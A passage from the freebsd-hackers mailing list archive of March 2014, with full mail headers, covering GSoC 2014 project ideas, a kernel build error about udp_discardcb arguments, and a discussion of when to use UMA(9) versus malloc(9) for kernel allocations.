2014 at 05:54:52PM +0100, CeDeROM wrote: > My proposition is to create universal UFS2 driver that would work on > Windows, Linux, and maybe other OS, so we can use native UFS2 as data > partition among various OS. Tomasz, I appreciate your ideas. Instead of posting them to the mailing list, can you enter them to the WWW form?: http://tinyurl.com/FreeBSD-GSOC2014 This ensures I have enough data about what you propose to paste them on the Wiki. Thanks in advance, -- Wojciech A. Koszek wkoszek@FreeBSD.czest.pl http://FreeBSD.czest.pl/~wkoszek/ From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 21:56:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 88EC1CF9 for ; Wed, 12 Mar 2014 21:56:30 +0000 (UTC) Received: from mail-oa0-x234.google.com (mail-oa0-x234.google.com [IPv6:2607:f8b0:4003:c02::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 54E378F7 for ; Wed, 12 Mar 2014 21:56:30 +0000 (UTC) Received: by mail-oa0-f52.google.com with SMTP id l6so156650oag.39 for ; Wed, 12 Mar 2014 14:56:29 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=A42/kUOhBVg36bg32BwkNOciW0BmssCjlctoTgWSU7Q=; b=tfCGS+6Hh/iZ75iRjSswc84L8HiOoBMu6PPEETQPoBCgQ5+5tbWrg/1ze4WY3onhb2 pJDGS3vW76912AFR25K56aeYfo6sz/GWB5H4EXeDwbAR/IsET2l7GSbQ6+yPz2Ea01GM L/HhwLp7kmWfpaBcnN3NYYW+9i/N7GFq3dUAejPdIwHSGWiSwYbZzikg3ffX5mbQm6lH 5+xsgClZypSASnRUVwTJZGeI2U479/BZcBOKNQ9//sSp4rJsETLlh6R2QYdXouKNuHDZ Kx7DIyFDxbANVC5POvOAD+VsIPtO2ozgLdp5qO+4oWX79xJvpBUcDM1nLI+CIAL0a7Yx EWEQ== MIME-Version: 1.0 X-Received: by 10.60.62.146 with SMTP id y18mr36454338oer.24.1394661389532; Wed, 12 Mar 2014 14:56:29 -0700 (PDT) Received: by 10.182.76.201 with HTTP; Wed, 12 Mar 2014 14:56:29 -0700 (PDT) Date: Wed, 12 Mar 2014 17:56:29 -0400 Message-ID: Subject: Question on struct and int within From: Joe Nosay To: FreeBSD Hackers Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 21:56:30 -0000 Okay, I decided to rebuild the kernel with vimage and mrouting. New error is: /usr/src/sys/netinet/udp_usrreq.c:1701:18: error: too few arguments to function call, expected 2, have 1 udp_discardcb(up); ~~~~~~~~~~~~~ ^ /usr/src/sys/netinet/udp_usrreq.c:274:1: note: 'udp_discardcb' declared here void Below I can see where the up value comes in and also in the file. The int value seems to be what is missing. I was studying C but never made it that far. >From the file in question: udp_discardcb(struct udpcb *up, int isudp) From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 22:25:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A43D9B6B for ; Wed, 12 Mar 2014 22:25:49 +0000 (UTC) Received: from mail-qc0-x22c.google.com (mail-qc0-x22c.google.com [IPv6:2607:f8b0:400d:c01::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6443DDCE for ; Wed, 12 Mar 2014 22:25:49 +0000 (UTC) Received: by mail-qc0-f172.google.com with SMTP id i8so219898qcq.17 for ; Wed, 12 Mar 2014 15:25:48 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=+N0i5n/3JjwBvBXO/pqjeYplpgN6Mq8lipa9sRQYUV4=; b=lVmopYynVwGvijz91P6zFtmmIEW4YN6cIxKe2cc05VsRuJNGr0U4FBL3QR54sUsrHj dqZNXNBWtTL58/ed8ag6oMpBo0mT73ZjXJNgccM2IkNiF0JRkYJAwxOJgAnussn2rXuy V5U2uTrUL0Lp1cwNhLtmXcKU1he+0LGDELmAPu5jo2sWa6okdgfjxsjsKTQtwkEZomiN WLGCxJ1ENkVzosUESqYdtW3kWsV0hjs9Ah1BYfRUy0VLThZe9Bg0Q7SC0pAFi2Pm9wsZ EHz8AwtbZZjZPAFidhWff+0iU+Q07osS1q7LtjFxFWMHz34RruoYatbdPPx2zb25b+tN alpg== MIME-Version: 1.0 X-Received: by 10.140.50.169 with SMTP id s38mr120105qga.12.1394663148561; Wed, 12 Mar 2014 15:25:48 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.8.137 with HTTP; Wed, 12 Mar 2014 15:25:48 -0700 (PDT) In-Reply-To: References: Date: Wed, 12 Mar 2014 15:25:48 -0700 X-Google-Sender-Auth: uzO93vNc8bPyhbFP4FbGrm5whs0 Message-ID: Subject: Re: [GSOC 2014] Interested in working with FreeBSD From: Adrian Chadd To: Shonali Balakrishna Content-Type: text/plain; charset=ISO-8859-1 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 22:25:49 -0000 Hi! Thanks for your email! The GSoC page is here: https://wiki.freebsd.org/SummerOfCode Now, mentors are still signing up. You can either choose one of the projects, or you can propose your own project if you decide you wish to try for something else. Good luck! -a On 12 March 2014 09:23, Shonali Balakrishna wrote: > Hi all, > > I am Shonali Balakrishna from Bangalore, India. I am going to be starting > graduate school(MSc.) at TU Delft this fall and wish to participate in > Google Summer of Code 2014 as a part of FreeBSD. > > I am an Electronics and Telecommunications engineering graduate(2008-2012) > from PESIT, Bangalore and I'm currently working in Oracle India, on > automation/scripting for storage and network related refresh tasks in their > Cloud Division. > > My technical interests lie in computer networking, and have completed my > CCNA certification as well. I am proficient in programming/scripting in C, > Java, Perl and Shell and have worked on many projects in these languages as > a part of work and undergraduate projects. I am proficient in Unix network > programming and have sound knowledge of TCP/IP fundamentals. Most > importantly, I'm passionate about networking and enjoy learning more and am > always willing to learning something new. > > I am interested in working on "FreeBSD port of Network Manager" or "BSNMP > enhancements" and intend to apply for one of these projects through GSOC > 2014. I have been familiarizing myself with the FreeBSD kernel and IP stack > in the last month and have also been familiarizing myself with BSNMP > framework and Network Manager. > > Could you please update me on the status of these proposed GSOC projects > and if mentors have been confirmed for these projects? > > I am working on a project proposal and would like to run it by you for > feedback when I'm done. I would be extremely grateful for any pointers or > leads to resources you could provide me with, that would help me with this > project. > > Thank you for your time. > > Best Regards, > > -- > Shonali Balakrishna > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 22:28:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 35028C69 for ; Wed, 12 Mar 2014 22:28:05 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 07BBEDEB for ; Wed, 12 Mar 2014 22:28:04 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s2CMS4TQ013896 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 12 Mar 2014 15:28:04 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s2CMS4lg013895; Wed, 12 Mar 2014 15:28:04 -0700 (PDT) (envelope-from jmg) Date: Wed, 12 Mar 2014 15:28:03 -0700 From: John-Mark Gurney To: Joe Nosay Subject: Re: Question on struct and int within Message-ID: <20140312222803.GD32089@funkthat.com> Mail-Followup-To: Joe Nosay , FreeBSD Hackers References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Wed, 12 Mar 2014 15:28:04 -0700 (PDT) Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 22:28:05 -0000 Joe Nosay wrote this message on Wed, Mar 12, 2014 at 17:56 -0400: > Okay, I decided to rebuild the kernel with vimage and mrouting. > New error is: > /usr/src/sys/netinet/udp_usrreq.c:1701:18: error: too few arguments to > function > call, expected 2, have 1 > udp_discardcb(up); > ~~~~~~~~~~~~~ ^ > /usr/src/sys/netinet/udp_usrreq.c:274:1: note: 'udp_discardcb' declared here > void > > Below I can see where the up value comes in and also in the file. > The int value seems to be what is missing. I was studying C but never made > it that far. > > > >From the file in question: > > udp_discardcb(struct udpcb *up, int isudp) Did you apply any custom patches? What version are those files? (ident is helpful here) What version of FreeBSD are you using? In head, there is no int arg... More info needed, thanks... -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 23:18:55 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 016EB9C8 for ; Wed, 12 Mar 2014 23:18:55 +0000 (UTC) Received: from mail.lysator.liu.se (mail.lysator.liu.se [IPv6:2001:6b0:17:f0a0::3]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 9838327D for ; Wed, 12 Mar 2014 23:18:54 +0000 (UTC) Received: from mail.lysator.liu.se (localhost [127.0.0.1]) by mail.lysator.liu.se (Postfix) with ESMTP id 98D2B40088 for ; Thu, 13 Mar 2014 00:18:50 +0100 (CET) Received: by mail.lysator.liu.se (Postfix, from userid 1004) id 8E3F340084; Thu, 13 Mar 2014 00:18:50 +0100 (CET) X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on bernadotte.lysator.liu.se X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=AWL autolearn=disabled version=3.3.1 X-Spam-Score: 0.0 Received: from mx.daemonic.se (mx.daemonic.se [IPv6:2001:470:dca9:0:1::3]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.lysator.liu.se (Postfix) with ESMTPSA id 746EA40006; Thu, 13 Mar 2014 00:16:27 +0100 (CET) Received: from mailscanner.daemonic.se (mailscanner.daemonic.se [IPv6:2001:470:dca9:0:1::6]) by mx.daemonic.se (Postfix) with ESMTPS id 3fkptn5Qv5z8gh6; Thu, 13 Mar 2014 00:15:45 +0100 (CET) X-Virus-Scanned: amavisd-new at daemonic.se Received: from mx.daemonic.se ([10.1.0.3]) (using TLS with cipher CAMELLIA256-SHA) by mailscanner.daemonic.se (mailscanner.daemonic.se [10.1.0.6]) (amavisd-new, port 10025) with ESMTPS id jmzWyeQJrGX6; Thu, 13 Mar 2014 00:15:43 +0100 (CET) Received: from mail.daemonic.se (mail.daemonic.se [10.1.0.4]) by mx.daemonic.se (Postfix) with ESMTPS id 3fkptl2qYyz8ggv; Thu, 13 Mar 2014 00:15:43 +0100 (CET) Received: from tifa.daemonic.se (tifa.daemonic.se [10.32.0.6]) by mail.daemonic.se (Postfix) with ESMTPSA id 3fkptl2MnTz9D6J; Thu, 13 Mar 2014 00:15:43 +0100 (CET) Received: from tifa.daemonic.se (localhost [IPv6:::1]) by tifa.daemonic.se (Postfix) with ESMTP id 30B2E22831; Thu, 13 Mar 2014 00:15:43 +0100 (CET) Message-ID: <5320EA9E.2060907@freebsd.org> Date: Thu, 13 Mar 2014 00:15:42 +0100 From: Niclas Zeising User-Agent: Mutt/1.5.21 MIME-Version: 1.0 To: CeDeROM Subject: Re: GSoC proposition: Intel HD Xorg + console fixup, video acceleration if possible References: In-Reply-To: Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV using ClamSMTP Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 23:18:55 -0000 On 03/12/14 18:08, CeDeROM wrote: > My proposition is to fix the current Intel HD Xorg driver so we have > console back again. Video hardware acceleration for Intel video > drivers if possible. > This is being worked on, and is probably not suited for a GSoC project. If you are interested in testing, please install FreeBSD 11 or A recent FreeBSD-10-stable and add WITH_NEW_XORG= to /etc/make.conf and recompile all xorg related ports. To get VT-switching there is vt(9) both in 11 and 10-stable, please check it out! See https://wiki.freebsd.org/Graphics for more information. Regards! -- Niclas Zeising From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 01:59:47 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8E87A4A7; Thu, 13 Mar 2014 01:59:47 +0000 (UTC) Received: from esa-jnhn.mail.uoguelph.ca (esa-jnhn.mail.uoguelph.ca [131.104.91.44]) by mx1.freebsd.org (Postfix) with ESMTP id 41E2E152; Thu, 13 Mar 2014 01:59:46 +0000 (UTC) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqUEADMQIVODaFve/2dsb2JhbABWA4NBV4MGtyeGX0+BNHSCJQEBAQMBAQEBICsgCwUWGAICDRkCKQEJJgYIBwQBHASHUAgNsUmhSxeBKYxcBgEBARokEAcRgl6BSQSVboQJkHuDSSExfAgXIg X-IronPort-AV: E=Sophos;i="4.97,642,1389762000"; d="scan'208";a="105114075" Received: from muskoka.cs.uoguelph.ca (HELO zcs3.mail.uoguelph.ca) ([131.104.91.222]) by esa-jnhn.mail.uoguelph.ca with ESMTP; 12 Mar 2014 21:59:40 -0400 Received: from zcs3.mail.uoguelph.ca (localhost.localdomain [127.0.0.1]) by zcs3.mail.uoguelph.ca (Postfix) with ESMTP id 67A32B3F47; Wed, 12 Mar 2014 21:59:40 -0400 (EDT) Date: Wed, 12 Mar 2014 21:59:40 -0400 (EDT) From: Rick Macklem To: John-Mark Gurney Message-ID: <1291887352.21761108.1394675980413.JavaMail.root@uoguelph.ca> In-Reply-To: <20140312062517.GX32089@funkthat.com> Subject: Re: kernel memory allocator: UMA or malloc? MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [172.17.91.201] X-Mailer: Zimbra 7.2.1_GA_2790 (ZimbraWebClient - FF3.0 (Win)/7.2.1_GA_2790) Cc: Freebsd hackers list , Garrett Wollman X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 01:59:47 -0000 John-Mark Gurney wrote: > Rick Macklem wrote this message on Tue, Mar 11, 2014 at 21:32 -0400: > > I've been working on a patch provided by wollman@, where > > he uses UMA instead of malloc() to allocate an iovec array > > for use by the NFS server's read. > > > > So, my question is: > > When is it preferable to use UMA(9) vs malloc(9) if the > > allocation is going to be a fixed size? > > UMA has benefits if the structure size is uniform and a non-power of > 2.. > In this case, it can pack the items more densely, say, a 192 byte > allocation can fit 21 allocations in a 4k page size verse malloc > which > would round it up to 256 bytes leaving only 16 per page... These > counts per page are probably different as UMA may keep some > information > in the page... > Ok, this one might apply. I need to look at the size. > It also has the benefit of being able to keep allocations "half > alive".. > "freed" objects can be partly initalized with references to buffers > and > other allocations still held by them... Then if the systems needs to > fully free your allocation, it can, and will call your function to > release these remaining resources... look at the ctor/dtor > uminit/fini > functions in uma(9) for more info... > > uma also allows you to set a hard limit on the number of allocations > the zone provides... > Yep. None of the above applies to this case, but thanks for the good points for a future case. (I've seen where this gets used for the "secondary zone" for mbufs+cluster.) > Hope this helps... > Yes, it did. Thanks. Does anyone know if there is a significant performance difference if the allocation is a power of 2 and the "half alive" cases don't apply? Thanks all for your help, rick ps: Garrett's patch switched to using a fixed size allocation and using UMA(9). Since I have found that a uma allocation request with M_WAITOK can get the thread stuck sleeping in "btalloc", I am a bit shy of using it when I've never had a problem with malloc(). Btw, this was for a pagesize cluster allocation, so it might be related to the alignment requirement (and running on a small i386, so the kernel address space is relatively small). I do see that switching to a fixed size allocation to cover the common case is a good idea, but I'm not sure if setting up a uma zone is worth the effort over malloc()? > -- > John-Mark Gurney Voice: +1 415 225 5579 > > "All that I will do, has been done, All that I have, has not." > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to > "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 05:47:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 22FFD527; Thu, 13 Mar 2014 05:47:01 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id F41A47E8; Thu, 13 Mar 2014 05:47:00 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s2D5kxgL019088 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 12 Mar 2014 22:46:59 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s2D5kxVA019087; Wed, 12 Mar 2014 22:46:59 -0700 (PDT) (envelope-from jmg) Date: Wed, 12 Mar 2014 22:46:59 -0700 From: John-Mark Gurney To: Rick Macklem Subject: Re: kernel memory allocator: UMA or malloc? Message-ID: <20140313054659.GG32089@funkthat.com> Mail-Followup-To: Rick Macklem , Freebsd hackers list , Garrett Wollman References: <20140312062517.GX32089@funkthat.com> <1291887352.21761108.1394675980413.JavaMail.root@uoguelph.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1291887352.21761108.1394675980413.JavaMail.root@uoguelph.ca> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Wed, 12 Mar 2014 22:46:59 -0700 (PDT) Cc: Freebsd hackers list , Garrett Wollman X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 05:47:01 -0000 Rick Macklem wrote this message on Wed, Mar 12, 2014 at 21:59 -0400: > John-Mark Gurney wrote: > > Rick Macklem wrote this message on Tue, Mar 11, 2014 at 21:32 -0400: > > > I've been working on a patch provided by wollman@, where > > > he uses UMA instead of malloc() to allocate an iovec array > > > for use by the NFS server's read. > > > > > > So, my question is: > > > When is it preferable to use UMA(9) vs malloc(9) if the > > > allocation is going to be a fixed size? > > > > UMA has benefits if the structure size is uniform and a non-power of > > 2.. > > In this case, it can pack the items more densely, say, a 192 byte > > allocation can fit 21 allocations in a 4k page size verse malloc > > which > > would round it up to 256 bytes leaving only 16 per page... These > > counts per page are probably different as UMA may keep some > > information > > in the page... > > > Ok, this one might apply. I need to look at the size. > > > It also has the benefit of being able to keep allocations "half > > alive".. > > "freed" objects can be partly initalized with references to buffers > > and > > other allocations still held by them... Then if the systems needs to > > fully free your allocation, it can, and will call your function to > > release these remaining resources... look at the ctor/dtor > > uminit/fini > > functions in uma(9) for more info... > > > > uma also allows you to set a hard limit on the number of allocations > > the zone provides... > > > Yep. None of the above applies to this case, but thanks for the good points > for a future case. (I've seen where this gets used for the "secondary zone" > for mbufs+cluster.) > > > Hope this helps... > > > Yes, it did. Thanks. > > Does anyone know if there is a significant performance difference if the allocation > is a power of 2 and the "half alive" cases don't apply? >From my understanding, the malloc case is "slightly" slower as it needs to look up which bucket to use, but after the lookup, the buckets are UMA, so the performance will be the same... > Thanks all for your help, rick > ps: Garrett's patch switched to using a fixed size allocation and using UMA(9). > Since I have found that a uma allocation request with M_WAITOK can get the thread > stuck sleeping in "btalloc", I am a bit shy of using it when I've never Hmm... I took a look at the code, and if you're stuck in btalloc, either pause(9) isn't working, or you're looping, which probably means you're really low on memory... > had a problem with malloc(). Btw, this was for a pagesize cluster allocation, > so it might be related to the alignment requirement (and running on a small > i386, so the kernel address space is relatively small). Yeh, if you put additional alignment requirements, that's probably it, but if you needed these alignment requirements, how was malloc satisfying your request? > I do see that switching to a fixed size allocation to cover the common > case is a good idea, but I'm not sure if setting up a uma zone is worth > the effort over malloc()? I'd say it depends upon how many and the number... If you're allocating many megabytes of memory, and the wastage is 50%+, then think about it, but if it's just a few objects, then the coding time and maintenance isn't worth it.. -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 06:24:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 39265B54; Thu, 13 Mar 2014 06:24:06 +0000 (UTC) Received: from mail-qa0-x22d.google.com (mail-qa0-x22d.google.com [IPv6:2607:f8b0:400d:c00::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id DFE1FAB4; Thu, 13 Mar 2014 06:24:05 +0000 (UTC) Received: by mail-qa0-f45.google.com with SMTP id hw13so557505qab.4 for ; Wed, 12 Mar 2014 23:24:05 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=nUlmZUrrXGLjbA36SRryuMnBfksfa9ypGoy0fCL0duQ=; b=I16YqP0h186fiGS3MOr0iPyfLAih/O1zz2eAEOq/eZHpcS7izR2VxsIOV7I4oshgqQ 1N7CHDg00FjMa0+eoYYvxTpcJN2zUlpg1TsXXiBZfZvMe94g75Tq4v1+9LNV0m/8oT3T W7xG78rvBa8BUr9t/STX/FOE5b+mddemakBS7kAtEe5DmqXVGWmkfftDeukSvVXmqYdD MvmdJ0n77itz2xV++aGTO+hK/4qlfJxKaCINVmsCCwxNvbBnybymUZG+vxZpc4bxzHDC Tc0kRGVKQ5dnt5HQ4RFs8/jlkJH/6KErJylPSNQB2FcrfKEJh1/xufvq+HhtGoMNrRPA wWag== MIME-Version: 1.0 X-Received: by 10.140.94.68 with SMTP id f62mr153440qge.64.1394691845115; Wed, 12 Mar 2014 23:24:05 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.229.209.73 with HTTP; Wed, 12 Mar 2014 23:24:05 -0700 (PDT) In-Reply-To: <20140312205223.GF18694@FreeBSD.org> References: <20140312205223.GF18694@FreeBSD.org> Date: Thu, 13 Mar 2014 07:24:05 +0100 X-Google-Sender-Auth: ttAOgf50ETYOHBrVs75Q_gA6YI0 Message-ID: Subject: Re: GSoC proposition: multiplatform UFS2 driver From: CeDeROM To: "Wojciech A. Koszek" Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 06:24:06 -0000 On Wed, Mar 12, 2014 at 9:52 PM, Wojciech A. Koszek wrote: > http://tinyurl.com/FreeBSD-GSOC2014 Sure thing - thanks Wojciech! I could not find this link on the website =) -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 16:30:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1ACC8CCD for ; Thu, 13 Mar 2014 16:30:29 +0000 (UTC) Received: from mailuogwhop.emc.com (mailuogwhop.emc.com [168.159.213.141]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BE445E76 for ; Thu, 13 Mar 2014 16:30:28 +0000 (UTC) Received: from maildlpprd05.lss.emc.com (maildlpprd05.lss.emc.com [10.253.24.37]) by mailuogwprd01.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2DGUKAP001191 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 13 Mar 2014 12:30:21 -0400 X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd01.lss.emc.com s2DGUKAP001191 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=isilon.com; s=jan2013; t=1394728221; bh=9MqjjrKeV13kI9iYREUFH7+aMsA=; h=From:To:CC:Subject:Date:Message-ID:Content-Type: Content-Transfer-Encoding:MIME-Version; b=F54RxajZ7k9DmeaYixbCNrAwkTrVYbUsHZDjuVHh/mx4dLO1dz4dvRrvywCQboo2P zMazTut+2FskIIg+hAYgwRtVFlc4FmDcpS0QwVZsn50v8fqH3XPua/lZPs0SbaXRMS M4R7a/a09Pb90f5ubdJYZwJw0sek8utA+a7FLnyE= X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd01.lss.emc.com s2DGUKAP001191 Received: from mailusrhubprd51.lss.emc.com (mailusrhubprd51.lss.emc.com [10.106.48.24]) by maildlpprd05.lss.emc.com (RSA Interceptor) for ; Thu, 13 Mar 2014 09:30:10 -0700 Received: from mxhub24.corp.emc.com (mxhub24.corp.emc.com [128.222.70.136]) by mailusrhubprd51.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2DGU97G013592 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL) for ; Thu, 13 Mar 2014 12:30:10 -0400 Received: from MXHUB101.corp.emc.com (10.253.50.15) by mxhub24.corp.emc.com (128.222.70.136) with Microsoft SMTP Server (TLS) id 8.3.327.1; Thu, 13 Mar 2014 12:30:09 -0400 Received: from MX103CL02.corp.emc.com ([169.254.6.182]) by 